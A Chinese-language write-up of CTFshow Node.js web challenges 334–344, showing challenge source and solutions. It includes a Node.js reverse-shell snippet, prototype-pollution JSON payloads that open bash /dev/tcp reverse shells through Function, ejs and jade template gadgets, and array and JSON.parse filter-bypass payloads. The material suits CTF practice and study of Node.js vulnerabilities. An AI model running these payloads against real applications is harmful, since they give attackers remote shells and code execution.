Practice - CTFSHOW WEB入门 nodejs篇

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web334

nodejs 代码审计题。
login.js: 

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var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

user.js: 

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module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

观察函数 findUser 的逻辑可以发现构造 ctfshow/123456，即可满足条件拿到 flag。

web335-336

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<!--
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-25 03:01:21
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-25 06:52:38
# @email: [email protected]
# @link: https://ctfer.com

-->


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CTFFSHOW</title>
</head>
<body>
    where is flag?  
    <!-- /?eval= -->

</body>
</html>

测试可知 /?eval= 参数可作为 nodejs eval 函数的参数执行，而且还有回显。弹个 shell 先 

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(function(){
    var net = require("net"),
    cp = require("child_process"),
    sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1211, "xxxxx", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

web337

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var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

居然可以数组绕过，感觉和 php 好像。。。
payload: /?a[]=1&b[]=1

web338

给源码喽！
common.js: 

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module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

login.js: 

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var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

utils.copy(user,req.body); 造成原型链污染，构造 payload: 

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POST http://c75be572-5063-473e-acbb-7367a33aba94.challenge.ctf.show/login
JSON
{"username":"aaaa","password":"aaaaa","__proto__":{"ctfshow":"36dboy"}}

web339

api.js: 

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var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

这里原型链污染覆盖 query 实现命令执行 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function

login.js: 

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var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}


/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html:
Function环境下没有require函数，不能获得child_process模块，我们可以通过使用process.mainModule.constructor._load来代替require。 

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POST /login
JSON
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"')"}}

/api 反弹 shell 后 flag 在 login.js

web340

和上题相比只改了被污染 obj: 

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var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

module.exports = router;

user.userinfo 需要多污染一层才能到 Object.prototype 

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{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"')"}}}

web341

ejs 原型链污染 rce https://www.anquanke.com/post/id/236354
payload: 

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{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"'); var __tmp2"}}}

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jade 原型链污染 rce https://www.anquanke.com/post/id/236354
payload: 

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{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"');//"}}}

web344

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router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }
});

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse
JSON.parse 会将参数转为 string，["str1", "str2"].toString() === "str1,str2" 于是可以绕过 ,(2c)。
payload: /?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

nodejs 部分到此结束。